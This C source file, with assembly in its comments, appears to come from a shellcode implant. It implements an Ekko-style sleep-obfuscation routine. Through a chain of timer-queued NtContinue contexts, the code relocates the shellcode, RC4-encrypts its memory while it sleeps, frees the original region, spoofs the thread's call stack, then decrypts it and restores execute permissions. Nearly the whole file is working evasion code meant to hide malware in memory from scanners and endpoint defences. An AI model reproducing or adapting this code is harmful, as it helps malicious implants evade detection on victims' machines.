hahaha da shellcode go brrrr

shitcode.c

#include <Core.h>
#include <Win32.h>
#include <Structs.h>
#include <Sleep.h>
#include <Utils.h>

SEC( text, C ) VOID Ekko ( DWORD SleepTime, PINSTANCE Instance)

{

    NTSTATUS status = 0;
    CONTEXT CtxThread   = { 0 };
    CONTEXT SpoofContext= { 0 };
    CONTEXT RopStart    = { 0 };
    CONTEXT RopMov      = { 0 };
    CONTEXT RopMemEnc   = { 0 };
    CONTEXT RopBackup   = { 0 };
    CONTEXT RopFree     = { 0 };
    CONTEXT RopSpoof    = { 0 };
    CONTEXT RopFix      = { 0 };
    CONTEXT RopDelay    = { 0 };
    CONTEXT RopMemDec   = { 0 };
    CONTEXT RopProtRX   = { 0 };
    CONTEXT RopSetEvt   = { 0 };

    HANDLE  hTimerQueue = NULL;
    HANDLE  hNewTimer   = NULL;
    HANDLE  EventTimer  = { 0 };
    HANDLE  EventStart  = { 0 };
    HANDLE  EventEnd    = { 0 };
    PVOID   ImageBase   = NULL;
    DWORD   ImageSize   = 0;
    DWORD   OldProtect  = 0x6969;
    PVOID   NewImageBase = NULL;
    // Can be randomly generated
    CHAR    KeyBuf[ 16 ]= { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 };

    USTRING Key = { 0 };
    USTRING Img  = { 0 };

    PVOID   NtContinue  = NULL;
    PVOID   SysFunc032  = NULL;
     
    // For 4th arg, NotificationEvent = 0
    // PUtting && here somehow made only the first event create
    if ( Instance->Win32.NtCreateEvent( &EventStart, EVENT_ALL_ACCESS, NULL, 0, 0 ) != 0 ||
         Instance->Win32.NtCreateEvent( &EventEnd, EVENT_ALL_ACCESS, NULL, 0, 0 )   != 0 ||
         Instance->Win32.NtCreateEvent( &EventTimer, EVENT_ALL_ACCESS, NULL, 0, 0 ) != 0 )
    {
        Instance->Win32.printf( "[ERROR] Failed to create events" );
        return;
    }
    Instance->Win32.RtlCreateTimerQueue( &hTimerQueue) ; // https://doxygen.reactos.org/d8/dd5/ndk_2rtlfuncs_8h.html#a3c33cfe4a773cc54ead6d284427bc12c

    ImageBase   = (PBYTE)((SIZE_T)Start + 0x1 ); // For some fucking reason if i just do start, it resolves to 0. but +0x1 and then -0x1 works???
    ImageBase   -= 0x1;
    ImageSize   =  (PVOID)( (SIZE_T)GetRIPEnd) - ImageBase; //Theres a few bytes at the end that this misses but thats fiiiiiine right?

    Instance->Win32.printf( "[INFO] ImageBase is 0x%llx\n", ImageBase );
    Instance->Win32.printf( "[INFO] ImageSize is 0x%llx\n", ImageSize );
    
    Key.Buffer  = KeyBuf;
    Key.Length  = Key.MaximumLength = 16;
    
    //CtxThread.ContextFlags = CONTEXT_FULL;
    // https://doxygen.reactos.org/df/d53/dll_2win32_2kernel32_2client_2timerqueue_8c.html#a1a76d5f2b6b9
    if (Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.RtlCaptureContext, &CtxThread, 100, 0, WT_EXECUTEINTIMERTHREAD ) == 0  &&
        Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtSetEvent,        EventTimer, 200, 0, WT_EXECUTEINTIMERTHREAD ) == 0)
    { 
        LARGE_INTEGER li = { 0 };
        li.QuadPart    = (long)-1000000L * ( (long)2 ); //-10000000L = 1 second
        Instance->Win32.printf("[Info] Waiting up to .2 second for timer to trigger\n");
        Instance->Win32.NtWaitForSingleObject( EventTimer, 0, &li );

        // VX-API OP
        CopyMemoryEx( &SpoofContext, &CtxThread, sizeof( CONTEXT ) ); // Crash on second iteration (oh its cause i put copymemoryex on the wrong .text section LMFAO)
        CopyMemoryEx( &RopStart,  &CtxThread, sizeof( CONTEXT ) );
        CopyMemoryEx( &RopMov,  &CtxThread, sizeof( CONTEXT ) );
        CopyMemoryEx( &RopMemEnc, &CtxThread, sizeof( CONTEXT ) );
        CopyMemoryEx( &RopFree , &CtxThread, sizeof( CONTEXT ) );
        CopyMemoryEx( &RopBackup, &CtxThread, sizeof( CONTEXT ) );
        CopyMemoryEx( &RopSpoof,  &CtxThread, sizeof( CONTEXT ) );
        CopyMemoryEx( &RopDelay,  &CtxThread, sizeof( CONTEXT ) );
        CopyMemoryEx( &RopMemDec, &CtxThread, sizeof( CONTEXT ) );
        CopyMemoryEx( &RopFix,    &CtxThread, sizeof( CONTEXT ) );
        CopyMemoryEx( &RopProtRX, &CtxThread, sizeof( CONTEXT ) );
        CopyMemoryEx( &RopSetEvt, &CtxThread, sizeof( CONTEXT ) );

        Instance->Win32.printf( "[INFO] Allocating RW memory\n" );
        NewImageBase = Instance->Win32.VirtualAlloc(Instance->Location, ImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        Instance->Location = (PBYTE)(NewImageBase) + 0x10000; // This way it roams. Probably gonna hit a shitshow when it reaches a certain number. We don't talk about that.
        Instance->Win32.printf( "[INFO] Shellcode will move to 0x%llx\n", NewImageBase );

        Img.Buffer  = NewImageBase;
        Img.Length  = Img.MaximumLength = ImageSize;

        /* Now we set up the contexts that will be fed to the timers */

        // NtWaitForSingleObject( EventTimer, 0, NULL )
        RopStart.Rsp   -= 8;
        RopStart.Rip   = Instance->Win32.NtWaitForSingleObject;
        RopStart.Rcx   = EventStart;
        RopStart.Rdx   = 0;
        RopStart.R8    = NULL;
        
        // RtlMoveMemory( Destination, Source, Length)
        RopMov.Rsp -= 8;
        RopMov.Rip = Instance->Win32.nRtlMoveMemory; 
        RopMov.Rcx = NewImageBase;
        RopMov.Rdx = ImageBase;
        RopMov.R8 = ImageSize;
        
        // SystemFunction032( &Key, &Img );
        RopMemEnc.Rsp  -= 8;
        RopMemEnc.Rip   = Instance->Win32.SystemFunction032;
        RopMemEnc.Rcx   = &Img;
        RopMemEnc.Rdx   = &Key;

        // NtFreeVirtualMemory(ProcessHandle, &BaseAddress, REgionSize, FreeType)
        SIZE_T temp = 0;
        RopFree.Rsp -= 8;
        RopFree.Rip = Instance->Win32.NtFreeVirtualMemory;
        RopFree.Rcx = NtCurrentProcess();
        RopFree.Rdx = &ImageBase;
        RopFree.R8 = &temp;
        RopFree.R9 = MEM_RELEASE;

        // "Spoof" the call stack while sleeping by capturing context and making the sleeping thread look like its not sleeping?
        // Our spoofed stack will be pointed to NtTib StackBase and the RIP will be the one from the context backed up during ROP
        HANDLE hDupThandle;
        status = Instance->Win32.NtDuplicateObject( NtCurrentProcess(), NtCurrentThread(), NtCurrentProcess(), &hDupThandle, THREAD_ALL_ACCESS, 0, 0 );
        SpoofContext.Rip = Instance->Win32.NtWaitForSingleObject; 
        SpoofContext.Rsp = NtCurrentTeb()->NtTib.StackBase;

        // Back up the current context (mid sleep)
        // NtGetContextThread( ThreadHandle, &Context );
        CONTEXT BackupContext = { 0 };
        BackupContext.ContextFlags = CONTEXT_FULL;
        RopBackup.Rsp  -= 8;
        RopBackup.Rip   = Instance->Win32.NtGetContextThread;
        RopBackup.Rcx   = hDupThandle;
        RopBackup.Rdx   = &BackupContext;

        // Capturing current context (mid timer setup) and using it to mask the sleep status.
        // NtSetContextThread( ThreadHandle, &Context );
        RopSpoof.Rsp  -= 8;
        RopSpoof.Rip   = Instance->Win32.NtSetContextThread;
        RopSpoof.Rcx   = hDupThandle;
        RopSpoof.Rdx   = &SpoofContext; 

        // * sleepy sounds *
        // NtWaitForSingleObject( hTargetHdl, BOOL alertable, PLARGE_INTEGER SleepTime );
        li.QuadPart    = (long)-10000000L * ((long)SleepTime / 1000 ); // -10000000L = 1 second, and our sleeptime is in milliseconds
        RopDelay.Rsp   -= 8;
        RopDelay.Rip    = Instance->Win32.NtDelayExecution;
        RopDelay.Rcx    = FALSE;
        RopDelay.Rdx     = &li;

        // SystemFunction032( &Key, &Img );
        RopMemDec.Rsp  -= 8;
        RopMemDec.Rip   = Instance->Win32.SystemFunction032;
        RopMemDec.Rcx   = &Img;
        RopMemDec.Rdx   = &Key;
        
        // Fix it so we don't explode
        // NtSetContextThread( ThreadHandle, &Context );
        RopFix.Rsp  -= 8;
        RopFix.Rip   = Instance->Win32.NtSetContextThread;
        RopFix.Rcx   = hDupThandle;
        RopFix.Rdx   = &BackupContext;

        /* Changing to RX */
        RopProtRX.Rsp  -= 8;
        RopProtRX.Rip   = Instance->Win32.VirtualProtect;
        RopProtRX.Rcx   = NewImageBase;
        RopProtRX.Rdx   = Img.Length;
        RopProtRX.R8   = PAGE_EXECUTE_READ;
        RopProtRX.R9   = &OldProtect;

        // SetEvent( hEvent );
        RopSetEvt.Rsp  -= 8;
        RopSetEvt.Rip   = Instance->Win32.NtSetEvent;
        RopSetEvt.Rcx   = EventEnd;
        RopSetEvt.Rdx   = NULL;
        
        Instance->Win32.printf( "[INFO] Queue timers\n" );
        
        Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopStart, 100, 0, WT_EXECUTEINTIMERTHREAD );
        Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopMov, 200, 0, WT_EXECUTEINTIMERTHREAD );
        Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopMemEnc, 300, 0, WT_EXECUTEINTIMERTHREAD );
        Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopFree, 400, 0, WT_EXECUTEINTIMERTHREAD );
        Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopBackup, 500, 0, WT_EXECUTEINTIMERTHREAD );
        Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopSpoof,  600, 0, WT_EXECUTEINTIMERTHREAD );
        Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopDelay,  700, 0, WT_EXECUTEINTIMERTHREAD );
        Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopFix,  800, 0, WT_EXECUTEINTIMERTHREAD );
        Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopMemDec, 900, 0, WT_EXECUTEINTIMERTHREAD );
        Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopProtRX, 1000, 0, WT_EXECUTEINTIMERTHREAD );
        Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopSetEvt, 1100, 0, WT_EXECUTEINTIMERTHREAD );

        Instance->Win32.printf( "[INFO] Wait for EventEnd\n" );

        HELPER h = { 0 };
        h.NtSignalAndWaitForSingleObject = Instance->Win32.NtSignalAndWaitForSingleObject;
        h.Arg1 = EventStart;
        h.Arg2 = EventEnd;
        h.Arg3 = 0;
        h.Arg4 = NULL;
        h.NewImageBase = NewImageBase;
        h.ImageBase = ImageBase;
        StartSleep(h);

        Instance->Win32.printf( "[INFO] Finished waiting for event\n" );
    }

    Instance->Win32.RtlDeleteTimerQueueEx( hTimerQueue, 0 );
    Instance->Win32.printf( "[INFO] Og return at 0x%llx\n", __builtin_return_address(0) );
    FixRetAddr(ImageBase, NewImageBase); // For some reason, r12 is being moved into rdx instead of some stack offset.
    Instance->Win32.printf( "[INFO] Returning to main at 0x%llx\n", __builtin_return_address(0) );

}

// Asm for  FixRetAddr
// I cannot guarantee this is safe cause i suck at assembly LMFAO
/*
section .text$C
    FixRetAddr:
        mov r8, [rbp + 0x8]
        sub r8, rcx
        add r8, rdx
        mov [rbp + 0x8], r8
        ret
 */
// Asm for StartSleep
/*
;typedef struct
;{
;    PVOID NtSignalAndWaitForSingleObject; 0x00
;    PVOID Arg1;                           0x08
;    PVOID Arg2;                           0x10
;    PVOID Arg3;                           0x18
;    PVOID Arg4;                           0x20
;    PVOID NewImageBase;                   0x28
;    PVOID ImageBase;                      0x30
;} HELPER, *PHELPER;
section .text$C
    StartSleep:

        ; Hold return address in r14
        pop r14

        ; Store original r12
        push r12

        mov r12, rcx
        mov r13, [r12]
        mov rcx, [r12 + 0x08]
        mov rdx, [r12 + 0x10]
        mov r8,  [r12 + 0x18]
        mov r9,  [r12 + 0x20]

        ; Find our current return address offset from shellcode base, then add that to the NewImageBase
        sub r14, [r12 + 0x30]
        add r14, [r12 + 0x28]

        ; Restore r12
        pop r12

        ; push the fixed return address
        push r14
    
        ; jmp to NtSignalAndWaitForSingleObject
        jmp r13
*/